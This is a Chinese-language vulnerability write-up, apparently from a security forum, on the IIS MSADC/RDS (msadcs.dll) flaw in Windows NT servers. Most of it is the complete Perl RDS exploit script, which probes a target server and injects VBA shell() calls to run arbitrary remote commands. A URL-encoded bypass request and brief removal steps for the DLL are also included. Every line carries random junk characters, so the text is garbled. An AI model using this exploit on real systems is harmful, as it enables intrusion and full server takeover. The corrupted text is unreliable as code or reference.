IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
%. 6?\w1e 9^Vx*KVrU 涉及程序：
2Z I pzH/8 Microsoft NT server
P+zI9~N[ `aWwF}
+Y 描述：
Nh7!Ah 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
[%)B%h`XGf ]BS{ ,sI 详细：
2G:{ FY 如果你没有时间读详细内容的话，就删除:
6's FmC c:\Program Files\Common Files\System\Msadc\msadcs.dll
$qyM
X[ 有关的安全问题就没有了。
?BWvF]p5/ # V9hG9%8 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
M : Y!k<p M3Z Jt' | 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
nu<!2xs, 关于利用ODBC远程漏洞的描述，请参看:
&40JN} U-]PWt?C{ http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm Xd e=}9 |Nd. '|g, 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
r`E1<aCr| http://www.microsoft.com/security/bulletins/MS99-025faq.asp C2,cyhr buM>^A" 这里不再论述。
y@8399;l ^CZ|ci6bX 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
zl8 \jP *1$~CC7 /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
{j=hQL3 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
{R8P $
N4]6LA 6x6 )I
UWM #将下面这段保存为txt文件，然后: "perl -x 文件名"
#&8pp8wd,} md
+`#-D\O #!perl
?bYQZJ >& #
;@-5lCvC(+ # MSADC/RDS 'usage' (aka exploit) script
I EsD = #
=/'*(\C2 # by rain.forest.puppy
Pg8= #
wm`"yNbD # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
8JO\%DFJ # beta test and find errors!
V^5k> `A AA%g^ PWpR use Socket; use Getopt::Std;
p`.fYW:p getopts("e:vd:h:XR", \%args);
Jz8#88cY .;v'oR1x5 print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
z)y(31K<1 5Fm? ,^ if (!defined $args{h} && !defined $args{R}) {
k.R/ X print qq~
MJR\ g3 Usage: msadc.pl -h <host> { -d <delay> -X -v }
ZTz(NS
EK -h <host> = host you want to scan (ip or domain)
5+"8q#X$ -d <seconds> = delay between calls, default 1 second
]x{ H -X = dump Index Server path table, if available
b 020U>)v -v = verbose
!Kqj&y5 -e = external dictionary file for step 5
WG= r? xE en6AAr:U} Or a -R will resume a command session
; Wm )e~`, U~@B%Msb
L ~; exit;}
Pw{{+PBu R ^
/eSby $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
4~MUc! if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
),FN29mZu if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
U1tPw`0h if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
EGO@`<"h $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
1,D
^, if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
T $]L 5 2>$L>2$ if (!defined $args{R}){ $ret = &has_msadc;
TbM* ? \7 die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
\Le #+ P U.} =j'Us+ print "Please type the NT commandline you want to run (cmd /c assumed):\n"
5W '|qmJ . "cmd /c ";
XE%6c3s $in=<STDIN>; chomp $in;
K4L#%KUPW $command="cmd /c " . $in ;
.tZ$a_O 6j![m+vo% if (defined $args{R}) {&load; exit;}
hpKc_|un / UBAQ8TR print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
E 1[%~Cpw* &try_btcustmr;
mw.aavB z1A-EeT print "\nStep 2: Trying to make our own DSN...";
Efd[ZJxS6 &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
0t yU%z{RV hzVO.Q* print "\nStep 3: Trying known DSNs...";
: | ( B[ &known_dsn;
f}d@G /L GUZi }a|= print "\nStep 4: Trying known .mdbs...";
88U &known_mdb;
*Y?]="8c#; cne[-E if (defined $args{e}){
JYU Ks~Qt print "\nStep 5: Trying dictionary of DSN names...";
SX8%F:<. &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
^ZBkt7 0+h?Bk print "Sorry Charley...maybe next time?\n";
Onyq' exit;
-p~B
-, `buTP?]4. ##############################################################################
} k~0R-m N|d @B{a( sub sendraw { # ripped and modded from whisker
L1+c v;t sleep($delay); # it's a DoS on the server! At least on mine...
4K% YS my ($pstr)=@_;
% QkvBg* socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
!qq@F%tv die("Socket problems\n");
u^9,u/gj if(connect(S,pack "SnA4x8",2,80,$target)){
?+_"2XY select(S); $|=1;
}=)"uv print $pstr; my @in=<S>;
\NRRN eu| select(STDOUT); close(S);
8i"fhN3?Y return @in;
bZJiubBRI } else { die("Can't connect...\n"); }}
Su^Z{ Ud` !<'R%<E3 Q ##############################################################################
1uE[ %M tL|Q{+i
yE sub make_header { # make the HTTP request
\:S8mDI^s my $msadc=<<EOT
6<R
U~Gh POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
r e2%e-F" User-Agent: ACTIVEDATA
/xnhHwJm Host: $ip
Nq8A vBwo4 Content-Length: $clen
8 iB}a\]B Connection: Keep-Alive
OYkd?LN k2a^g CBC ADCClientVersion:01.06
7t QiKrhp Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
k5/}S@F8 X; 0@41t' --!ADM!ROX!YOUR!WORLD!
:4dili4|/ Content-Type: application/x-varg
aJ ts Content-Length: $reqlen
xYq8\9Qb el<nY" c EOT
O_q_O ; $msadc=~s/\n/\r\n/g;
PC5FfX return $msadc;}
m[XN,IE#u X,b } d#\ ##############################################################################
>=(e}~5y &+sN= J.x sub make_req { # make the RDS request
jdzV & my ($switch, $p1, $p2)=@_;
uo^>95lkv my $req=""; my $t1, $t2, $query, $dsn;
g|oPRC$I' }% =P(%- if ($switch==1){ # this is the btcustmr.mdb query
okW3V}/x/z $query="Select * from Customers where City=" . make_shell();
gV c[`( @h $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
RDbA"e5x $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
}`X$
' )8_0 d ) elsif ($switch==2){ # this is general make table query
d$ /o\G $query="create table AZZ (B int, C varchar(10))";
.T7ciD $dsn="$p1";}
#r C% \ B sAglem elsif ($switch==3){ # this is general exploit table query
[O3R(`<e5 $query="select * from AZZ where C=" . make_shell();
J' ;tpr $dsn="$p1";}
X$a Mf &x ;Mc }I f* elsif ($switch==4){ # attempt to hork file info from index server
= 2k+/0ZbP $query="select path from scope()";
c GD A0#r $dsn="Provider=MSIDXS;";}
Hi9]M3Ub }5gQZ'ys' elsif ($switch==5){ # bad query
W ^x[ma z $query="select";
F-nt7l $dsn="$p1";}
a7Jr} "B FR&RIFy $t1= make_unicode($query);
` :2C9,Xu $t2= make_unicode($dsn);
X !@Gv:TD $req = "\x02\x00\x03\x00";
# a3Q<%V $req.= "\x08\x00" . pack ("S1", length($t1));
4D NZ y2` $req.= "\x00\x00" . $t1 ;
_tjH=Ff$ $req.= "\x08\x00" . pack ("S1", length($t2));
Djzb#M'm $req.= "\x00\x00" . $t2 ;
!#r]f9QP $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
_CgD7 d return $req;}
UY== 1\ T]:5y_4?[ ##############################################################################
-{O2Nv- ]] 5rc<ibGh sub make_shell { # this makes the shell() statement
$R^"~|m3M return "'|shell(\"$command\")|'";}
k_ skn3,u O&)Y3 O1 ##############################################################################
v4& *iT W]
lFwj sub make_unicode { # quick little function to convert to unicode
XdB8Oj~~ my ($in)=@_; my $out;
x&;SLEM
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
Un<~P@T% return $out;}
)a.U|[:y[+ 1 .uy u ##############################################################################
;c'jBi5W {30A1>0#P sub rdo_success { # checks for RDO return success (this is kludge)
h7*m+ / O my (@in) = @_; my $base=content_start(@in);
q[+ ]; if($in[$base]=~/multipart\/mixed/){
Gf"/fpeQx return 1 if( $in[$base+10]=~/^\x09\x00/ );}
R4o_zwWgPw return 0;}
ut o4bs: FNUue ##############################################################################
8\[6z0+; (BJs6":BFe sub make_dsn { # this makes a DSN for us
F`3I~( my @drives=("c","d","e","f");
FuD$ jsEw print "\nMaking DSN: ";
I|p(8 R! foreach $drive (@drives) {
U*6r".sz print "$drive: ";
C 9~CP8 my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
k: c)|2 "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
{AB0 PM;- . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
8&3G|m1-2 $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
3 D\ I#g return 0 if $2 eq "404"; # not found/doesn't exist
s]}P
jh8 if($2 eq "200") {
M*t{?o/t; foreach $line (@results) {
#/YKA{ return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
H3&$: h } return 0;}
,l~i|_ %POoyH@D} ##############################################################################
Yw./V0Z{@ GUMO;rZs sub verify_exists {
oas}8 A) my ($page)=@_;
`,xKK+~YG- my @results=sendraw("GET $page HTTP/1.0\n\n");
Z5+q b return $results[0];}
<zrGPwk o@"H3
gz ##############################################################################
:dB6/@f W mI}1si=$ sub try_btcustmr {
XO219 my @drives=("c","d","e","f");
>8 EIm my @dirs=("winnt","winnt35","winnt351","win","windows");
^xFZ;Yf g&&5F>mF foreach $dir (@dirs) {
% gmf print "$dir -> "; # fun status so you can see progress
U#-89 . x foreach $drive (@drives) {
O TSbhI'v print "$drive: "; # ditto
@=:( b"Sg $reqlen=length( make_req(1,$drive,$dir) ) - 28;
?9.SwIxU& $reqlenlen=length( "$reqlen" );
]Z6==+mCP $clen= 206 + $reqlenlen + $reqlen;
F` +}p- NZCPmst my @results=sendraw(make_header() . make_req(1,$drive,$dir));
# sm>;+J if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
{e,S}:$g4 else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
g"^<LX- 6o!+E@V
b ##############################################################################
SBZqO '}7 !3E33 sub odbc_error {
rISg`- my (@in)=@_; my $base;
+<7`Gn(n3 my $base = content_start(@in);
.3M=|rE if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
]+Ik/+N z $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
dJ#mk5=
" $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
.Xqe]cax% $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
*`7cvt5]IM return $in[$base+4].$in[$base+5].$in[$base+6];}
t&*X~(Yb! print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
K`Vi5h R~c print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
< #k(g\/R $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
h0_od/D1r N D`?T
&PK ##############################################################################
<xv@us7 Yi:@>A<# sub verbose {
t4X:I&l-M: my ($in)=@_;
Q+YYj return if !$verbose;
K*NCIIDh print STDOUT "\n$in\n";}
/?C}PM u?,M`w0' ##############################################################################
Y- e sD'MD .W>LE z' sub save {
7 |bzopLJk my ($p1, $p2, $p3, $p4)=@_;
W:VRLT>w> open(OUT, ">rds.save") || print "Problem saving parameters...\n";
VI_8r5o print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
}RvinF:5 close OUT;}
R+}7]tva6C X"lPXoCN ##############################################################################
AYb-BaIc KFZ2%:6> sub load {
&BxD S
. my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
#$-{hg{ open(IN,"<rds.save") || die("Couldn't open rds.save\n");
#s% _ L @p=<IN>; close(IN);
"=H ( \ V $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
# O<, $target= inet_aton($ip) || die("inet_aton problems");
d%?$UnQ print "Resuming to $ip ...";
}3 HN $Fwo $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
'ip2| U G if($p[1]==1) {
CmP_9M?ce $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
~[a6 $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
^W#161& my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
mQd
L"caA if (rdo_success(@results)){print "Success!\n";}
V)<Jj else { print "failed\n"; verbose(odbc_error(@results));}}
^?<gz!(- elsif ($p[1]==3){
@'IRh9 if(run_query("$p[3]")){
\k
9Ei mT} print "Success!\n";} else { print "failed\n"; }}
sH_B*cr3 elsif ($p[1]==4){
"($"T v2 if(run_query($drvst . "$p[3]")){
r&rip^40 print "Success!\n"; } else { print "failed\n"; }}
e)BU6m% exit;}
>a%C'H.A9 1buVV]*~ ##############################################################################
#EG$HX] Lqa|9| ! sub create_table {
^ jYE4gHM my ($in)=@_;
'LX]/ D $reqlen=length( make_req(2,$in,"") ) - 28;
(pv6V2i $reqlenlen=length( "$reqlen" );
m:-= K $clen= 206 + $reqlenlen + $reqlen;
v {r,Wy 3 my @results=sendraw(make_header() . make_req(2,$in,""));
5.M82rR; ~ return 1 if rdo_success(@results);
BWF >;*Xro my $temp= odbc_error(@results); verbose($temp);
JfLoGl;p m return 1 if $temp=~/Table 'AZZ' already exists/;
.(g"(fgF return 0;}
8{4SaT.-Rm rK~O bv ##############################################################################
g>*P}r~;^b 2I$-&c ] sub known_dsn {
O_ 4 j"0 # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
n q%GLUH
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
iy-~CPNB_ "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
+bdjZD3 "banner", "banners", "ads", "ADCDemo", "ADCTest");
6^vz+oN NTV@, foreach $dSn (@dsns) {
b|Sjh; print ".";
wX+KW0|> next if (!is_access("DSN=$dSn"));
4Ai#$SHLm if(create_table("DSN=$dSn")){
wl5+VC*l0 print "$dSn successful\n";
0zc~!r~ if(run_query("DSN=$dSn")){
|C`.m | print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
\f4JIsZ-& print "Something's borked. Use verbose next time\n";}}} print "\n";}
#-7w | W [B; ;"ro ##############################################################################
'U *Kb *pSD[E>SU sub is_access {
|R3A$r#- my ($in)=@_;
j|ow U $reqlen=length( make_req(5,$in,"") ) - 28;
> A.m`w $reqlenlen=length( "$reqlen" );
>Pwu> $clen= 206 + $reqlenlen + $reqlen;
(W'3Z v'f my @results=sendraw(make_header() . make_req(5,$in,""));
w,VUWja my $temp= odbc_error(@results);
WUK{st.z verbose($temp); return 1 if ($temp=~/Microsoft Access/);
kre cUpo return 0;}
/SKgN{tWe lG R6S ##############################################################################
mw fl x8 v]@ n'! sub run_query {
C^fUhLVSZ^ my ($in)=@_;
X;QhK] Z $reqlen=length( make_req(3,$in,"") ) - 28;
\9%RY]T K3 $reqlenlen=length( "$reqlen" );
[DSD[[
z[ $clen= 206 + $reqlenlen + $reqlen;
VWT\wA L my @results=sendraw(make_header() . make_req(3,$in,""));
b
|JM4jgK return 1 if rdo_success(@results);
;t5e] my $temp= odbc_error(@results); verbose($temp);
~ L?q.*q return 0;}
k|; [)gE HOb0\X ##############################################################################
&uLC{I k} }gtkO& sub known_mdb {
i1ss}JJp* my @drives=("c","d","e","f","g");
aP` V my @dirs=("winnt","winnt35","winnt351","win","windows");
VjGtEIew my $dir, $drive, $mdb;
@R s3i;"W my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
%dDwus $zD}hO9 # this is sparse, because I don't know of many
p^X
\~Yibs my @sysmdbs=( "\\catroot\\icatalog.mdb",
&\
\)x.! "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
/2fQM_ ,P "\\system32\\certmdb.mdb",
woyeKOr "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
L%5g]= H-'~c \ ) my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
I1fUV72 "\\cfusion\\cfapps\\forums\\forums_.mdb",
FWl'='5L "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
3}V -'!
"\\cfusion\\cfapps\\security\\realm_.mdb",
3!2TE - "\\cfusion\\cfapps\\security\\data\\realm.mdb",
HV\l86} "\\cfusion\\database\\cfexamples.mdb",
;6/dFOZn "\\cfusion\\database\\cfsnippets.mdb",
pHv~^L%= "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
+/Qgl "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
xZ( f_Oy "\\cfusion\\brighttiger\\database\\cleam.mdb",
6R';[um?q "\\cfusion\\database\\smpolicy.mdb",
W>T6Wlxu`6 "\\cfusion\\database\cypress.mdb",
qb?9i-( "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
$i.)1.x "\\website\\cgi-win\\dbsample.mdb",
9vw0box "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
} 0x'm "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
n Wb0S ); #these are just
Ln@n6*%(/ foreach $drive (@drives) {
`AcT}. u foreach $dir (@dirs){
#b5V/) K foreach $mdb (@sysmdbs) {
OM 4, Sevk print ".";
5, u'p8}. if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
Gk2R:\/Y print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
= 6^phZ( if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
61=D&lb print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
1k?k{Ri } else { print "Something's borked. Use verbose next time\n"; }}}}}
7<7
/N Z<I .7v
.DR> foreach $drive (@drives) {
HL34pmc foreach $mdb (@mdbs) {
`2.2; Vk print ".";
! C|VX,w if(create_table($drv . $drive . $dir . $mdb)){
KL4vr|i, print "\n" . $drive . $dir . $mdb . " successful\n";
|}KNtIX\G if(run_query($drv . $drive . $dir . $mdb)){
_5JwJcQ print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
bj`mQMC } else { print "Something's borked. Use verbose next time\n"; }}}}
yx&'W_Q@ }
m[%*O#_ Kt\#|-{CH- ##############################################################################
0tyS=X;#e :qL1jnR^ sub hork_idx {
">hOD'PG print "\nAttempting to dump Index Server tables...\n";
@ZTsl ? print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
+`s%-}-r $reqlen=length( make_req(4,"","") ) - 28;
o:8*WCiqrN $reqlenlen=length( "$reqlen" );
KOHYeiry~A $clen= 206 + $reqlenlen + $reqlen;
Mz#<Vm4 my @results=sendraw2(make_header() . make_req(4,"",""));
l-G] jXu if (rdo_success(@results)){
2!E@Gbhm5 my $max=@results; my $c; my %d;
FEzjP$ for($c=19; $c<$max; $c++){
K6X} d,g $results[$c]=~s/\x00//g;
Ihn+_H u $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
y1@*)|
r $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
8fX<,*#I $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
M9s cZu j $d{"$1$2"}="";}
ic]b"ItD foreach $c (keys %d){ print "$c\n"; }
:^[HDI-[2 } else {print "Index server doesn't seem to be installed.\n"; }}
y+g01z M)v 4>Rw+ ##############################################################################
z6+D=< rjLPX sub dsn_dict {
1{pU:/_W open(IN, "<$args{e}") || die("Can't open external dictionary\n");
MrGq{,6C while(<IN>){
- IF3'VG $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
}aC@o v]2 next if (!is_access("DSN=$dSn"));
* c1)x if(create_table("DSN=$dSn")){
cEc_S42Z print "$dSn successful\n";
J jp)%c#_ if(run_query("DSN=$dSn")){
Oqc M3 # print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
5gZ6H/. print "Something's borked. Use verbose next time\n";}}}
<*'%Xgm print "\n"; close(IN);}
HZDeQx`*s _>k&M7OU4 ##############################################################################
!/;/ X\d 2/ES.>K!. sub sendraw2 { # ripped and modded from whisker
uz%<K(:Ov sleep($delay); # it's a DoS on the server! At least on mine...
ZD(VH6<g% my ($pstr)=@_;
p6Ie ?Gg socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
, A@uSfC( die("Socket problems\n");
B2/d%B if(connect(S,pack "SnA4x8",2,80,$target)){
"xK#%eJjWd print "Connected. Getting data";
[S<1|hk
s( open(OUT,">raw.out"); my @in;
lH#C:n select(S); $|=1; print $pstr;
ah9P
C7[ while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
:Ou[LF.O close(OUT); select(STDOUT); close(S); return @in;
)oU%++cdo } else { die("Can't connect...\n"); }}
`k ]2*$% %UXmWXF4$ ##############################################################################
w28&qNha _yN&+]c sub content_start { # this will take in the server headers
Q dPqcw4+X my (@in)=@_; my $c;
=lOdg3 #\a for ($c=1;$c<500;$c++) {
9(AY7]6 if($in[$c] =~/^\x0d\x0a/){
!-cK@>.pE if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
<<M1:1 else { return $c+1; }}}
JV`"kk/ return -1;} # it should never get here actually
hC
D6 RoLN# ##############################################################################
o6Jhl8 "PePiW(i+ sub funky {
kE`Fg( M my (@in)=@_; my $error=odbc_error(@in);
uy'qIq if($error=~/ADO could not find the specified provider/){
? l>Ra0 print "\nServer returned an ADO miscofiguration message\nAborting.\n";
B{ hV|2 exit;}
Xf%vfAf if($error=~/A Handler is required/){
]]eI80u[ print "\nServer has custom handler filters (they most likely are patched)\n";
e,D RQ2AU exit;}
\TS.9 > \ if($error=~/specified Handler has denied Access/){
8m M`v print "\nServer has custom handler filters (they most likely are patched)\n";
'A{B[ exit;}}
I1 +A$<Fa j^)=<+Q;= ##############################################################################
$g&_7SJ@ U_ C[9Z'P sub has_msadc {
49tJ+J- N my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
=: = s my $base=content_start(@results);
SNrX(V::z return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
j*_>/gi return 0;}
9|l6.$Me/ orZwm9#]. ########################
Fgw $;W 2v{42]XYf 0
} |21YED 解决方案：
T?KM}<$(O 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
lFV\Go 2、移除web 目录: /msadc
